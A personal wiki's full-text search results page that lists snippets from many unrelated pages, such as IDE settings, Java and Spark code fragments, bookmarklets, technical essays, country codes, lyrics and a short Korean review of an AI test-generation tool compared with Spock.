Full text search for "Sapient AI Test Coder Review as a Spock User - 20231015(Su)"


Search BackLinks only
Display context of search results
Case-sensitive searching
  • eclipse-keys . . . . 197 matches
         "Database Tools","Execute All","Ctrl+Alt+X","Editing SQL"
         "Edit","Restore Last Selection","Shift+Alt+Down","Editing JavaScript Source"
         "Navigate","Quick Outline","Shift+Ctrl+O","Task Markup Editor Source Context"
         "Edit","Paste","Ctrl+V","In Dialogs and Windows"
         "Focused UI","Focus on Active Task","Shift+Alt+H","In Windows"
         "ASA 9.x table schema editor","Copy","Alt+C","In Windows"
         "Run/Debug","Run JUnit Plug-in Test","Shift+Alt+X P","In Windows"
         "Search","Show Occurrences in File Quick Menu","Shift+Ctrl+U","JavaScript View"
         "Run/Debug","Debug JUnit Plug-in Test","Shift+Alt+D P","In Windows"
         "Refactor - JavaScript","Extract Local Variable","Shift+Alt+L","JavaScript View"
         "Source","Toggle Comment","Ctrl+7","Editing JavaScript Source"
         "Source","Run Tests of Selected Member","Shift+Ctrl+Alt+R","Editing Java Source"
         "JavaScript Debug","Open Source","Shift+Ctrl+3","Debugging"
         "Source","Toggle Comment","Esc Ctrl+C","Editing JavaScript Source"
         "Task Repositories","Mark Task Read and Go To Previous Unread Task","Shift+Alt+Up","In Tasks View"
         "Task Repositories","Open Selected Task","Ctrl+Enter","In Tasks View"
         "Database Tools","Run","Ctrl+Alt+R","Editing SQL"
         "Source","Add JSDoc Comment","Shift+Alt+J","JavaScript View"
         "Source","Quick Assist - Assign to var","Ctrl+2 F","Editing JavaScript Source"
         "Refactor - JavaScript","Show Refactor Quick Menu","Shift+Alt+T","JavaScript View"
  • totalcommander-wincmd.ini . . . . 143 matches
         test=160
         UseRightButton=0
         UseTrash=1
         CompareCaseSensitive=1
         LastRunAs=xxxx
         path=1:/data/internet/web/WEB-INF/classes/kr/or/xxxx/internet/rk/action/rkh_commu/
         ShowAllDetails=1
         path=d:\projects\xxxxpt2008\web\WEB-INF\classes\kr\or\xxxx\internet\rk\action\rkh_commu\
         ShowAllDetails=1
         5=rkh_boardform_delpass_ji.jsp
         5=nas
         1=trash
         4=classes_system
         5=chro_disease
         10=xecure_test
         12=classes
         16=owasp_reform
         menu1=-xxxxwas1
         menu2=ftp://weblogic@xxxxwas1/data/internet/ejbs/
         cmd2=cd ftp://weblogic@xxxxwas1/data/internet/ejbs/
  • OurSoftwareDependencyProblem . . . . 126 matches
         For decades, discussion of software reuse was far more common than actual software reuse.
         My own background includes a decade of working with Google’s internal source code system, which treats software dependencies as a first-class concept,1 and also developing support for dependencies in the Go programming language.2
         The shift to easy, fine-grained software reuse has happened so quickly that we do not yet understand the best practices for choosing and using dependencies effectively, or even for deciding when they are appropriate and when not.
         My purpose in writing this article is to raise awareness of the risks and encourage more investigation of solutions.
         designing, writing, testing, debugging, and maintaining a specific unit of code.
         These packages contain high-quality, debugged code that required significant expertise to develop.
         and updating the package is easier than the work of redeveloping that functionality from scratch.
         a tiny package would be easier to reimplement.
         As dependency managers make individual packages easier to download and install,
         Before dependency managers, publishing an eight-line code library would have been unthinkable: too much overhead for too little benefit. But NPM has driven the overhead approximately to zero, with the result that nearly-trivial functionality can be packaged and reused. In late January 2019, the escape-string-regexp package is explicitly depended upon by almost a thousand other NPM packages, not to mention all the packages developers write for their own use and don’t share.
         Dependency managers now exist for essentially every programming language. Maven Central (Java), Nuget (.NET), Packagist (PHP), PyPI (Python), and RubyGems (Ruby) each host over 100,000 packages. The arrival of this kind of fine-grained, widespread software reuse is one of the most consequential shifts in software development over the past two decades. And if we’re not more careful, it will lead to serious problems.
         A package, for this discussion, is code you download from the internet. Adding a package as a dependency outsources the work of developing that code—designing, writing, testing, debugging, and maintaining—to someone else on the internet, someone you often don’t know. By using that code, you are exposing your own program to all the failures and flaws in the dependency. Your program’s execution now literally depends on code downloaded from this stranger on the internet. Presented this way, it sounds incredibly unsafe. Why would anyone do this?
         We do this because it’s easy, because it seems to work, because everyone else is doing it too, and, most importantly, because it seems like a natural continuation of age-old established practice. But there are important differences we’re ignoring.
         Decades ago, most developers already trusted others to write software they depended on, such as operating systems and compilers. That software was bought from known sources, often with some kind of support agreement. There was still a potential for bugs or outright mischief,3 but at least we knew who we were dealing with and usually had commercial or legal recourses available.
         The phenomenon of open-source software, distributed at no cost over the internet, has displaced many of those earlier software purchases. When reuse was difficult, there were fewer projects publishing reusable code packages. Even though their licenses typically disclaimed, among other things, any “implied warranties of merchantability and fitness for a particular purpose,” the projects built up well-known reputations that often factored heavily into people’s decisions about which to use. The commercial and legal support for trusting our software sources was replaced by reputational support. Many common early packages still enjoy good reputations: consider BLAS (published 1979), Netlib (1987), libjpeg (1991), LAPACK (1992), HP STL (1994), and zlib (1995).
         Dependency managers have scaled this open-source code reuse model down: now, developers can share code at the granularity of individual functions of tens of lines. This is a major technical accomplishment. There are myriad available packages, and writing code can involve such a large number of them, but the commercial, legal, and reputational support mechanisms for trusting the code have not carried over. We are trusting more code with less justification for doing so.
         The cost of adopting a bad dependency can be viewed as the sum, over all possible bad outcomes, of the cost of each bad outcome multiplied by its probability of happening (risk).
         The context where a dependency will be used determines the cost of a bad outcome. At one end of the spectrum is a personal hobby project, where the cost of most bad outcomes is near zero: you’re just having fun, bugs have no real impact other than wasting some time, and even debugging them can be fun. So the risk probability almost doesn’t matter: it’s being multiplied by zero. At the other end of the spectrum is production software that must be maintained for years. Here, the cost of a bug in a dependency can be very high: servers may go down, sensitive data may be divulged, customers may be harmed, companies may fail. High failure costs make it much more important to estimate and then reduce any risk of a serious failure.
         No matter what the expected cost, experiences with larger dependencies suggest some approaches for estimating and reducing the risks of adding a software dependency. It is likely that better tooling is needed to help reduce the costs of these approaches, much as dependency managers have focused to date on reducing the costs of download and installation.
         A basic inspection can give you a sense of how likely you are to run into problems trying to use this code. If the inspection reveals likely minor problems, you can take steps to prepare for or maybe avoid them. If the inspection reveals major problems, it may be best not to use the package: maybe you’ll find a more suitable one, or maybe you need to develop one yourself. Remember that open-source packages are published by their authors in the hope that they will be useful but with no guarantee of usability or support. In the middle of a production outage, you’ll be the one debugging it. As the original GNU General Public License warned, “The entire risk as to the quality and performance of the program is with you. Should the program prove defective, you assume the cost of all necessary servicing, repair or correction.”4
  • classloader.jsp . . . . 117 matches
         [ClassLoading정보보기]
         <%@ page import="java.util.HashMap"%>
          ClassLoaderInfo cl = new ClassLoaderInfo();
          String className = request.getParameter("className");
          Map classInfo = null;
          if (className != null && className.trim().length() > 0) {
          classInfo = cl.getLoadingClassInfo(className);
          List bootClasses = cl.getBootClassInfos();
          List extClasses = cl.getExtClassInfos();
          List appClasses = cl.getAppClassInfos();
         <title>Nextree Classloader Information</title>
         .th_classinfo{
         .td_classinfo{
         .th_classloader{
         <p class="c_title">Nextree Classloader Information</p>
         Class Name: <input type="text" name="className" size="100"/>
         <% if (classInfo != null && classInfo.get("X_ERROR") != null) {
          Throwable t = (Throwable) classInfo.get("X_ERROR");
         <p>No such class : <%=t.getClass().getName()%> (<%=t.getMessage()%>)</p>
         <% } else if (classInfo != null) { %>
  • CleanArchitecture-2020 . . . . 94 matches
         The goal of software architecture is to minimize the human resources required to build and maintain the required system.
         In every case, the best option is for the development organization to recognize and avoid its own overconfidence and to start taking the quality of its software architecture seriously.
         Software must be soft. It must be easy to change.
         In other words, they fail to separate those features that are urgent but not important from those features that truly are urgent and important.
         This failure then leads to ignoring the important architecture of the system in favor of the unimportant features of the system.
         It is the responsibility of the software development team (not business managers) to assert the importance of architecure over the urgency of features.
         Remember, as a software developer, you are a stakeholder.
         If architecture comes last, then the system will becom ever more costly to develop, and eventually change will become practically impossible f or part or all of the system.
         If that is allowed to happen, it means the software development team did not fight hard enough for what they knew was necessary.
         Functional programming imposes discipline upon assignment.
         1) We use polymorphism as the mechanism to cross architectural boundaries.
         3) We use structured programming as the algorithmic foundation of our modules.
          * Tests
         Software architects strive to defin modules, components, and services that are easily falsifiable(testable).
         Before a safe and convenient mechanism for polymorphism was avilable.
         Using OO polymorphism, architect can gain absolute control over every source code dependency in the system.
         It allows the architect to create a plugin architecture, in which modules that contain high-level policies are independent of modules that contain low-level details.
         This paradigm is strongly based on the lambda-calculus by Alonzo Church in the 1930s.
         Architects would be wise to push as much processing as possible into the immutable components, and to drive as much code as possible out of those components that must allow mutation.
         Historically, the SRP has been described this way:
  • MoniWikiPo . . . . 92 matches
         "Last-Translator: Won-kyu Park <wkpark@kldp.org>\n"
         "Content-Type: text/plain; charset=UTF-8\n"
         msgid "Paste a new picture"
         msgid "Cut & Paste a Clipboard Image"
         msgid "Preview"
         msgid "Preview comment"
         msgid "No older revisions available"
         msgid "Version info is not available in this wiki"
         msgid "Fail to copy \"%s\" to \"%s\""
         msgid "%d day(s) passed from %s."
         #: ../plugin/FastSearch.php:114 ../plugin/FullSearch.php:18
         #: ../plugin/FastSearch.php:123 ../plugin/FullSearch.php:28
         msgid "Add as common words"
         msgid "Please check your php.ini setting"
         msgid "Password"
         #: ../plugin/security/userbased.php:60
         msgid "Please Login or make your ID on this Wiki ;)"
         msgid "Fail to chmod \"%s\" !"
         msgid "Back to UserPreferences"
         msgstr "UserPreferences로 가기"
  • jEdit . . . . 79 matches
          * 코딩 : Monospaced 12포인트 Plain(14인치, 1024x768)
         jbrowse.custStaAsUlined=true
         white-space.remove-trailing-white-space=false
         options.pmd.rules.DefaultLabelNotLastInSwitchStmt=true
         fastopen.window.height=182
         mode.javascript.customSettings=true
         fastopen.hideOpenFiles=false
         sidekick.java.pv.xxxnet2008.optionalClasspath=
         options.pmd.rules.NullAssignment=true
         firewall.user=
         options.pmd.rules.SuspiciousHashcodeMethodName=true
         javainsight.dock.extendedState=6
         firewall.password=
         javainsight.y=50
         javainsight.x=50
         options.pmd.rules.AssignmentInOperandRule=true
         fastopen.search.delay=2.0
         codeaid.autoHintDisplay=true
         codeaid.autoidentifier=true
         white-space.show-trailing-space-default=true
  • FortuneCookies . . . . 43 matches
          * "It seems strange to meet computer geeks who're still primarily running Windows... as if they were still cooking on a wood stove or something." - mbp
          * "Heck, I'm having a hard time imagining the DOM as civilized!" -- Fred L. Drake, Jr.
          * Good fortune in love, as well as a better position.
          * By failing to prepare, you are preparing to fail.
          * If you always postpone pleasure you will never have it. Quit work and play for once!
          * He who spends a storm beneath a tree, takes life with a grain of TNT.
          * A king's castle is his home.
          * He who has a shady past knows that nice guys finish last.
          * The best prophet of the future is the past.
          * Might as well be frank, monsieur. It would take a miracle to get you out of Casablanca.
          * Expect a letter from a friend who will ask a favor of you.
          * You will overcome the attacks of jealous associates.
          * Every purchase has its price.
          * Mind your own business, Spock. I'm sick of your halfbreed interference.
          * Show your affection, which will probably meet with pleasant response.
          * The Tree of Learning bears the noblest fruit, but noble fruit tastes bad.
          * Stop searching forever. Happiness is unattainable.
          * You are farsighted, a good planner, an ardent lover, and a faithful friend.
          * You will gain money by a speculation or lottery.
          * Mistakes are oft the stepping stones to failure.
  • (번역)PleaseStopCallingDatabasesCPOrAP . . . . 41 matches
         #keywords docs, translation, database, nosql, cap, writing
         = Please stop calling databases CP or AP =
          * 원문: https://martin.kleppmann.com/2015/05/11/please-stop-calling-databases-cp-or-ap.html Published by Martin Kleppmann on 11 May 2015.
         This blog post has been translated into [https://habrahabr.ru/post/258145/ Russian], [http://suzuki79.hatenablog.com/entry/2017/11/24/222827 Japanese], and [https://blog.the-pans.com/cap/ Chinese].
         For more detail on problems with CAP, and a proposal for an alternative, please see my paper [https://arxiv.org/abs/1509.05393 A Critique of the CAP Theorem].
         A lot of people have taken that advice to heart, describing their systems as "CP" (consistent but not available under network partitions), "AP" (available but not consistent under network partitions), or sometimes "CA" (meaning "I still haven’t read [http://codahale.com/you-cant-sacrifice-partition-tolerance/ Coda’s post from almost 5 years ago]").
         Therefore I ask that we retire all references to the CAP theorem, stop talking about the CAP theorem, and put the poor thing to rest.
         Instead, we should use more precise terminology to reason about our trade-offs.
         (Yes, I realize the irony of writing a blog post about the very topic that I am asking people to stop writing about.
         But at least it gives me a URL that I can give to people when they ask why I don’t like them talking about the CAP theorem.
         Also, apologies if this is a bit of a rant, but at least it’s a rant with lots of literature references.)
         If you want to refer to CAP as a theorem (as opposed to a vague hand-wavy concept in your database’s marketing materials), you have to be precise.
         The proof only holds if you use the words with the same meaning as they are used in [https://www.comp.nus.edu.sg/~gilbert/pubs/BrewersConjecture-SigAct.pdf the proof].
          In particular it has got nothing to do with the C in ACID, even though that C also stands for “consistency”.
          I explain the meaning of linearizability below
          * Availability in CAP is defined as "every request received by a non-failing {{{[database]}}} node in the system must result in a {{{[non-error]}}} response".
          It’s not sufficient for some node to be able to handle the request: any non-failing node needs to be able to handle it.
          Many so-called “highly available” (i.e. low downtime) systems actually do not meet this definition of availability.
          * Partition Tolerance (terribly mis-named) basically means that you’re communicating over an asynchronous network that may delay or drop messages.
          * The only fault considered by the CAP theorem is a network partition (i.e. nodes remain up, but the network between some of them is not working).
  • Spring3.0특징요약 . . . . 40 matches
          <bean class="com.springinaction.peanuts.Blanket">
          public class Blanket {
         "#{settingBean.databaseUrl}"
         "#{snoopyPersonas.![name]}"
          public class SpittleListController {
          public String displaySpittleList(@RequestParam("username") String userName) {
          http://localhost:8080/spitter/spittleList.htm?username=habuma
          public class SpittleListController {
          @RequestMapping("/{username}/list")
          public String displaySpittleList(@PathVariable("username") String userName) {
          public class HomeController {
          String userAgent = request.getHeader("User-Agent");
          public class HomeController {
          public String displayHomePage(@RequestHeader("User-Agent") String userAgent) {
          public class HomeController {
          String lastVisit = "never";
          if("LastVisit".equals(cookie.getName())) {
          lastVisit = cookie.getValue();
          public class HomeController {
          public String displayHomePage(@CookieValue("LastVisit") String lastVisit) {
  • Karabiner-Elements . . . . 36 matches
         ~/.config/karabiner/assets/complex_modifications/gims-vim-like-map.json
          "type": "basic"
          "type": "basic"
          "type": "basic"
          "type": "basic"
          "type": "basic"
          "type": "basic"
          "type": "basic"
          "type": "basic" },
          "type": "basic" },
          "type": "basic" },
          "type": "basic" },
          "type": "basic" },
          "type": "basic" },
          "type": "basic" },
          "type": "basic" },
          "type": "basic" },
          "type": "basic" },
          "type": "basic" },
          "type": "basic" },
  • WikiSlide . . . . 31 matches
          * ''Wiki-Wiki'' is hawaii and means fast
          * '''Fast''' - fast editing, communicating and easy to learn
          * '''Easy''' - no HTML knowledge necessary, simply formatted text
          * '''Interlinked''' - Links between pages are easy to make
          * Personal Information Management, Knowledgebases, Brainstorming
          * Help with problems or questions: HelpContents ([[Icon(help)]]) and HelpMiscellaneous/FrequentlyAskedQuestions
          * UserPreferences
          * Email address for subscribing to page change emails and retrieving a lost login/password
          * Link with User-ID ( (!) ''in any case, put a bookmark on that'')
          * "Recently visited pages" (see UserPreferences)
          * RecentChanges: What has changed recently?
         To edit a page, just click on [[Icon(edit)]] or on the link "`EditText`" at the end of the page. A form will appear enabling you to change text and save it again. A backup copy of the previous page's content is made each time.
         You can check the appearance of the page without saving it by using the preview function - ''without'' creating an entry on RecentChanges; additionally there will be an intermediate save of the page content, if you have created a homepage ([[Icon(home)]] is visible).
         <!> After editing pages, please leave the edit form by "`Save Changes`" since otherwise your edits will be lost!
         ||<rowbgcolor="lightblue">'''Copy:''' `CTRL+C`||'''Paste:''' `CTRL+V`||
         (!) If you discover an interesting format somewhere, just use the "raw" icon to find out how it was done.
         (!) In UserPreferences, you can set up the editor to open when you double click a page.
         (!) You can subscribe to pages to get a mail on every change of that page. Just click on the envelope [[Icon(subscribe)]] at top right of the page.
         To add special formatting to text, just enclose it within markup. There are special notations which are automatically recognized as internal or external links or as embedded pictures.
         For details see HelpOnFormatting, HelpOnLinking and HelpOnSmileys.
  • copy-production2dev.py . . . . 27 matches
         userId = "00011379"
         delete_all = "delete a, b from base a left join detail b on a.baseSeq = b.baseSeq where a.userId = '" + userId + "'"
         select_base_where = "where recognitionDate>='20150601' and userId = '" + userId + "'"
         select_base_count = "select count(1) from base " + select_base_where
         sdb_cursor.execute(select_base_count)
         print "target base count = "+str(rowCount)
         select_base = "select * from base " + select_base_where
         select_base_detail = "select * from base_detail where baseSeq = "
         insert_mbase = "insert into mbase (a, b, c) VALUES ('{0}', {1}, {2}, '{3}', {4}, '{5}', {6}, {7}, {8}, '{9}', '{10}', '{11}', null, null, 0)"
         insert_detail = "insert into finance.mbase_detail (a, b, c) VALUES ({0}, {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}, null, null)"
         # SELECT BASE
         sdb_cursor.execute(select_base)
          # INSERT BASE
          insert_query = insert_mbase.format(r[1], r[2], r[3], r[4], r[5], r[6], r[7], r[8], r[9], r[10], r[11], r[12])
          devdb_cursor.execute("select last_insert_id()");
          baseSeq = devdb_cursor.fetchone()[0]
          # SELECT DETAILS
          sdb_cursor.execute(select_base_detail + str(r[0]))
          # INSERT DETAILS
          query = insert_detail.format(baseSeq, pbd[2], pbd[3], pbd[4], pbd[5], pbd[6], pbd[7], pbd[8], pbd[9])
  • Module02.UseCase모델링 . . . . 22 matches
         = Use Case 모델 개요 =
          * 정의 : 시스템을 Actor와 Use Case, 이들 사이의 관계로 표현한 모델
          * Use Case Diagram : Actor, Use Case, Relationship
          * Use Case 명세서
         = Use Case 모델링 절차 =
         == Use Case Package 정의 ==
          * 관련있는 Use Case 들을 그룹핑하기 위한 패키지
         == Use Case 도출 ==
          * Use Case는 일반적으로 시스템의 최종 사용자에 의해 사용되어 유용한 결과를 산출하는 시작과 끝을 완전하게 가지고 있는 완전한 기능 단위임
          * Use Case 는 Actor 에게 의미있는 가치를 제공해 주어야 함
          * Use Case 는 Actor 에 의해서 기동됨
         == Use Case Diagram 작성 ==
          * Use Case Diagram은 액터와 유즈케이스 간의 상호작용을 표현
         == Use Case 상세화 ==
          * Use Case 내에서의 시스템 흐름을 구체화시키는 단계
          * Use Case 명세서를 작성함으로써 Use Case 기능을 상세화함
          * Use Case 명세서
          * Use Case 동작 시나리오를 기술
          * 시나리오는 Use Case의 인스턴스 들임
          * Use Case 명세서의 구성 : 개요, 이벤트흐름(기본흐름, 선택흐름, 예외흐름), 연관관계, 사전/사후 조건, 비고
  • BashInstallationOnOsx . . . . 21 matches
         [bash]
         from https://gimslab.tistory.com/m/entry/Install-bash-again-in-your-Mac-osx-why
         It's a very outdated version of the Bash shell on Mac OSX. maybe like GNU bash, version 3.2
         I needed full features of a recent version of bash. There are many exceptions in an old version of bash like this.
         $ brew install bash
         $ bash --version
         GNU bash, 버전 5.1.4(1)-release (x86\_64-apple-darwin19.6.0)
         I have two versions of bash from now.
         $ which -a bash
         /usr/local/bin/bash
         /bin/bash
         add new bash to the whitelist shell file /etc/shells like below
         /bin/bash
         /bin/dash
         /usr/local/bin/bash
         set it as a default set
         $ chsh -s /usr/local/bin/bash
         Good! I can get this same result with my other bash in Linux.
  • html5_book_원철연 . . . . 19 matches
         3.3 section, header, footer, article, aside 요소(Element)를 이용한 우측면 구성 http://fromyou.tistory.com/422
         == 10. Interactive Elements, 10.1 details 요소 http://fromyou.tistory.com/474 ==
         11.2 class, id, style 속성 http://fromyou.tistory.com/479
         1.3 class를 이용한 선택자(Selector) 구성과 규칙(Rule) 만들기 http://fromyou.tistory.com/483
         1.5 의사 클래스(pseudo-class)를 이용한 선택자(Selector) 구성과 규칙(Rule) 만들기 http://fromyou.tistory.com/489
         1.5.1 동적(dynamic) pseudo-class http://fromyou.tistory.com/490
         1.5.2 target pseudo-class http://fromyou.tistory.com/491
         1.5.3 언어(lang) pseudo-class http://fromyou.tistory.com/492
         1.5.4 UI element state pseudo-class http://fromyou.tistory.com/493
         1.5.5 구조적(structural) pseudo-class http://fromyou.tistory.com/494
         nth-of-type, nth-last-of-type http://fromyou.tistory.com/495
         first-child, last-child, first-of-type, last-of-type http://fromyou.tistory.com/496
         1.5.6 부정(negation) pseudo-class http://fromyou.tistory.com/498
         == 4. CSS에서 사용되는 수치(Measurements) http://fromyou.tistory.com/508 ==
         = 3장 JavaScript http://fromyou.tistory.com/524 =
         1. JavaScript의 데이터 타입, 변수, 1.1 데이터 타입(Data Type) http://fromyou.tistory.com/525
         3.4 switch … case 문, 3.5 for 문,3.6 for … in 문, 3.7 while문 http://fromyou.tistory.com/530
         6.6 해쉬 테이블(HashTable) http://fromyou.tistory.com/545
         = 4장 Canvas, 1. Canvas를 사용하기 위한 기본적인 준비작업 http://fromyou.tistory.com/556 =
         == 9. 캔버스(canvas) 내용을 이미지로 저장 http://fromyou.tistory.com/568 ==
  • 국가코드 . . . . 19 matches
         AMERICAN SAMOA AS
         ANGUILLA AI
         AZERBAIJAN AZ
         BAHAMAS BS
         BAHRAIN BH
         BURKINA FASO BF
         CHRISTMAS ISLAND CX
         FALKLAND ISLANDS (MALVINAS) FK
         HAITI HT
         HONDURAS HN
         JAMAICA JM
         KUWAIT KW
         MADAGASCAR MG
         PITCAIRN PN
         SAINT BARTHÉLEMY BL
         SAINT HELENA SH
         SAINT KITTS AND NEVIS KN
         SAINT LUCIA LC
         SAINT MARTIN MF
         SAINT PIERRE AND MIQUELON PM
  • Axis로WebService개발하기 . . . . 18 matches
          <java classname="org.apache.axis.wsdl.Java2WSDL" fork="true">
          <classpath refid="axisLib"></classpath>
          <java classname="org.apache.axis.wsdl.WSDL2Java" fork="true">
          <classpath refid="axisLib"></classpath>
         생성된 test.wsdd 파일내용을 수정한다.
         <parameter name="className" value="test.TestImpl" />
         생성된 클래스파일을 WEB-INF/classes 로 복사
          <classpath refid="axisLib"></classpath>
          <include name="**/*.class"/>
          <java classname="org.apache.axis.client.AdminClient" fork="true">
          <classpath refid="axisLib"></classpath>
          <java classname="org.apache.axis.client.AdminClient" fork="true">
          <classpath refid="axisLib"></classpath>
  • InstallCert.java . . . . 18 matches
         package com.gimslab.https_test;
         public class InstallCert {
          public static void main(String[] args) throws Exception {
          char[] passphrase;
         // passphrase = p.toCharArray();
         // .println("Usage: java InstallCert <host>[:port] [passphrase]");
          passphrase = "changeit".toCharArray();
          ks.load(in, passphrase);
          X509Certificate[] chain = tm.chain;
          if (chain == null) {
          System.out.println("Could not obtain server certificate chain");
          System.out.println("Server sent " + chain.length + " certificate(s):");
          for (int i = 0; i < chain.length; i++) {
          X509Certificate cert = chain[i];
          X509Certificate cert = chain[k];
          String alias = host + "-" + (k + 1);
          ks.setCertificateEntry(alias, cert);
          ks.store(out, passphrase);
          .println("Added certificate to keystore 'jssecacerts' using alias '"
          + alias + "'");
  • Sapient AI Test Coder Review as a Spock User - 20231015(Su) . . . . 18 matches
         === Code Testing의 목적 ===
         === Spock을 사용하는 이유 ===
          - test code뿐 아니라 실행 결과의 가독성이 높아 maintainability가 높다
          - test code역시 production code와 마찬가지로 한번 만들고 계속 사용하는 코드가 아니라
         - BDD Testing 친화적
          - Data-drive Testing 친화적
          - data table은 직관적이고 간결하게 많은 case를 표현하고 테스트할 수 있게 해줌
          - Interaction-based Testing 친화적
          - State-based testing과 대비
          - private method, class에 대해 test code에서 직접 access 가능
          - easy mocking
         === Sapient-AI를 쓰게 될때 얻는 점과 잃는 점 ===
          - State based test위주로만 코드가 만들어짐
          - BDD Testing, Data-driven Testing, Interaction-based Testing 지원하지 않음
          - private method 및 class를 지원하지 않아 production code를 수정해야 하는 경우도 있음
  • bookmarklets . . . . 16 matches
         javascript:
         var ALA='https://www.aladin.co.kr/search/wsearchresult.aspx?SearchTarget=All&SearchWord=';
          var elm=document.getElementsByClassName(cnames[i])[0];
         function main(){
         main()
         javascript:
         javascript:location.href=v;
         javascript:var v=document.getElementById("ucCatalogAndItemName_hdivItemTitle").textContent.trim();v="http://www.coupang.com/np/search?q="+encodeURIComponent(v);javascript:location.href=v;
         javascript:(function(){var%20c=encodeURIComponent;location.href='http://www.google.com/gwt/n?u='+c(location.href);})();
         javascript:function%20getSelection(){return%20document.all%20?%20document.selection.createRange().text:document.getSelection();
         javascript:function%20getSelection(){return%20document.all%20?%20document.selection.createRange().text:document.getSelection();}function%20openSdic(){var%20c=encodeURIComponent;var%20w=window.open('http://endic.naver.com/popManager.nhn?m=search&searchOption=&query='+c(getSelection()),'DirectSearch_Dic','left='+(screen.width-410)+',top=17,width=405,height=500,resizable=no,scrollbars=no');void(0);}openSdic();
         javascript:function%20openSdic(){var%20w=window.open('http://endic.naver.com/popManager.nhn?m=miniPopMain','DirectSearch_Dic','left='+(screen.width-410)+',top=17,width=405,height=500,resizable=no,scrollbars=no');void(0);}openSdic();
         javascript:(function(){var%20a=window,b=document,c=encodeURIComponent,d=a.open("http://www.google.com/bookmarks/mark?op=edit&output=popup&bkmk="+c(b.location)+"&title="+c(b.title),"bkmk_popup","left="+((a.screenX||a.screenLeft)+10)+",top="+((a.screenY||a.screenTop)+10)+",height=420px,width=550px,resizable=1,alwaysRaised=1");a.setTimeout(function(){d.focus()},300)})();
         javascript:var%20a=window,b=document,c=encodeURIComponent;var%20s=b.getSelection();var%20tit=s.length>0?s.substring(0,100):b.title;tit=tit.replace(/\'/g,'');open('http://mar.gar.in/post/popup_post/&qTitle='+c(c(tit))+'&qURL='+c(c(location.href)),'mar_bkmk','left='+((a.screenX||a.screenLeft)+10)+',top='+((a.screenY||a.screenTop)+10)+',height=610px,width=780px,resizable=1,alwaysRaised=1,scrollbars=1');void(0);
         javascript:location.href='http://mar.gar.in/post/popup_post/&qURL='+encodeURIComponent(encodeURIComponent(location.href))+'&qTitle='+encodeURIComponent(encodeURIComponent((document.getSelection().length>0?document.getSelection().substring(0,100):document.title).replace(/\'/g,'')));
         javascript:void(location.href='http://tinyurl.com/create.php?url='+encodeURIComponent(location.href))
         javascript:function getSelection(){return document.all ? document.selection.createRange().text:document.getSelection();}function openSdic(){var c=encodeURIComponent;var w=window.open('https://www.google.com/search?q=다음영화 '+c(getSelection()),'DaumMovie');void(0);}openSdic();
  • EclipseJavaCodeStyleFormatter . . . . 15 matches
         <setting id="org.eclipse.jdt.core.formatter.alignment_for_assignment" value="0"/>
         <setting id="org.eclipse.jdt.core.formatter.alignment_for_superclass_in_type_declaration" value="16"/>
         <setting id="org.eclipse.jdt.core.formatter.blank_lines_before_first_class_body_declaration" value="0"/>
         <setting id="org.eclipse.jdt.core.formatter.brace_position_for_block_in_case" value="end_of_line"/>
         <setting id="org.eclipse.jdt.core.formatter.indent_breaks_compare_to_cases" value="true"/>
         <setting id="org.eclipse.jdt.core.formatter.indent_switchstatements_compare_to_cases" value="true"/>
         <setting id="org.eclipse.jdt.core.formatter.insert_space_after_assignment_operator" value="insert"/>
         <setting id="org.eclipse.jdt.core.formatter.insert_space_after_closing_paren_in_cast" value="do not insert"/>
         <setting id="org.eclipse.jdt.core.formatter.insert_space_after_colon_in_assert" value="insert"/>
         <setting id="org.eclipse.jdt.core.formatter.insert_space_after_colon_in_case" value="insert"/>
         <setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_paren_in_cast" value="do not insert"/>
         <setting id="org.eclipse.jdt.core.formatter.insert_space_before_assignment_operator" value="insert"/>
         <setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_paren_in_cast" value="do not insert"/>
         <setting id="org.eclipse.jdt.core.formatter.insert_space_before_colon_in_assert" value="insert"/>
         <setting id="org.eclipse.jdt.core.formatter.insert_space_before_colon_in_case" value="do not insert"/>
  • PairingSamsungBluetoothKeyboardTrio500OnXubuntu . . . . 15 matches
         I purchased the Samsung Trio 500, a Bluetooth keyboard with many reviews for its high quality.
         But for some reason, the Trio 500 kept not pairing.
         Trio 500 requires a PIN code to be paired.
         During the pairing process, a pop-up will appear on the screen asking you to enter a six-digit number.
         Then, input the number on the keyboard and press Enter to complete the final pairing.
         But strangely, no such popup or message was shown on my Linux.
         When I tried to connect another Bluetooth keyboard in the past, such a message appeared in blueman as well.
         And the pairing went well.
         But why is this keyboard not getting such a message and just a message stating that pairing has failed?
         I was using the AnnePro2 keyboard connected via Bluetooth at the time, so the prompt was displayed like that.
         If you enter the command {{{paired-devices}}}, a list of currently paired devices is displayed.
         Therefore, the address itself can be found there as well.
         While scan mode is on, each time a new device is scanned, that information is continuously displayed on the screen as above.
         The Trio 500 was also displayed on the screen, but you can't tell which one is the Trio 500 just by looking at it.
         Alternatively, it can be inferred by looking at the message displayed on the screen when the keyboard enters pairing mode after turning the power off and on.
         For reference, you have to press the Bluetooth button on the Trio 500 for about 3 seconds to enter pairing mode.
         In pairing mode, the LED blinks quickly to indicate the status.
         ==== pairing ====
         For actual pairing, use the {{{pair}}} command.
         After {{{pair}}}, enter the address of the Trio 500 found above.
  • spark . . . . 15 matches
          * ref : [spark performance test results on cluster]
         val df_mysql = sqlContext.read.format("jdbc").option("url", "jdbc:mysql://dev-db/finance").option("driver", "com.mysql.jdbc.Driver").option("dbtable", "(select a.*,b.productBaseDetailSeq,b.optionSrl,b.paymentSrl,b.amount,b.salesSupplyFee,b.salesSupplyFeeVat,b.paymentSupplyFee,b.paymentSupplyFeeVat,b.count from product_base a join product_base_detail b on a.productBaseSeq=b.productBaseSeq) as prbase").option("user", "ididid").option("password", "xxxxx").load()
         df_mysql.registerTempTable("prbase")
         val amountByOption = sqlContext.sql("select optionSrl, amountType, sum(amount) amount from prbase group by optionSrl, amountType")
         amountByOption.write.parquet("prbase.amountByOption.par")
         val amountByOption = sqlContext.parquetFile("prbase.amountByOption.par")
         df.registerTempTable("base")
         val amtByOp = sqlContext.sql("select optionSrl, amountType, sum(amount) amount from base group by optionSrl, amountType order by amount desc")
         amtByOp.write.parquet("base.amtByOp.par")
  • OurLastSummer . . . . 14 matches
         Our last summer
         Our last summer
         Laughing in the rain
         Our last summer
         Memories that remain
         In the grass
         I was so happy we had met
         It was the age of no regret
         That was the time
         Our last dance
         Our last summer
         Our last summer
         Our last summer
         Our last summer
         Our last summer
         Laughing in the rain
         Our last summer
         Memories that remain...
